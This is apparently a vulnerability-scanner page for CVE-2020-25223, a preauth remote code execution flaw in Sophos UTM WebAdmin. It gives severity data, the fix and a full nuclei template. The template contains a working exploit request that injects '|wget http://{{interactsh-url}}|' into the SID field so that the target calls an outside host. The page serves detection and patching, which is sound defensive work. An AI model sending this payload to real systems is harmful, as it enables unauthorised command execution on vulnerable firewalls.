Sophos UTM Preauth - Remote Code Execution

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

96.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11.

Impact

Successful exploitation of this vulnerability could lead to remote code execution, allowing attackers to take control of the affected system.

Fix

Apply the latest security patches provided by Sophos to mitigate the vulnerability.

How to confirm it

Send: POST /var
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2020-25223 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-25223

info:
  name: Sophos UTM Preauth - Remote Code Execution
  author: gy741
  severity: critical
  description: Sophos SG UTMA WebAdmin is susceptible to a remote code execution vulnerability in versions before v9.705 MR5, v9.607 MR7, and v9.511 MR11.
  impact: |
    Successful exploitation of this vulnerability could lead to remote code execution, allowing attackers to take control of the affected system.
  remediation: |
    Apply the latest security patches provided by Sophos to mitigate the vulnerability.
  reference:
    - https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223
    - https://community.sophos.com/b/security-blog/posts/advisory-resolved-rce-in-sg-utm-webadmin-cve-2020-25223
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25223
    - https://community.sophos.com/b/security-blog
    - https://cwe.mitre.org/data/definitions/78.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-25223
    cwe-id: CWE-78
    epss-score: 0.96753
    epss-percentile: 0.99886
    cpe: cpe:2.3:a:sophos:unified_threat_management:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sophos
    product: unified_threat_management
    shodan-query: http.title:"securepoint utm"
    fofa-query: title="securepoint utm"
    google-query: intitle:"securepoint utm"
  tags: cve,cve2020,sophos,rce,oast,unauth,kev,vkev,vuln

http:
  - raw:
      - |
        POST /var HTTP/1.1
        Host: {{Hostname}}
        Accept: text/javascript, text/html, application/xml, text/xml, */*
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        X-Requested-With: XMLHttpRequest
        X-Prototype-Version: 1.5.1.1
        Content-Type: application/json; charset=UTF-8
        Origin: {{BaseURL}}
        Connection: close
        Referer: {{BaseURL}}
        Sec-Fetch-Dest: empty
        Sec-Fetch-Mode: cors
        Sec-Fetch-Site: same-origin

        {"objs": [{"FID": "init"}], "SID": "|wget http://{{interactsh-url}}|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from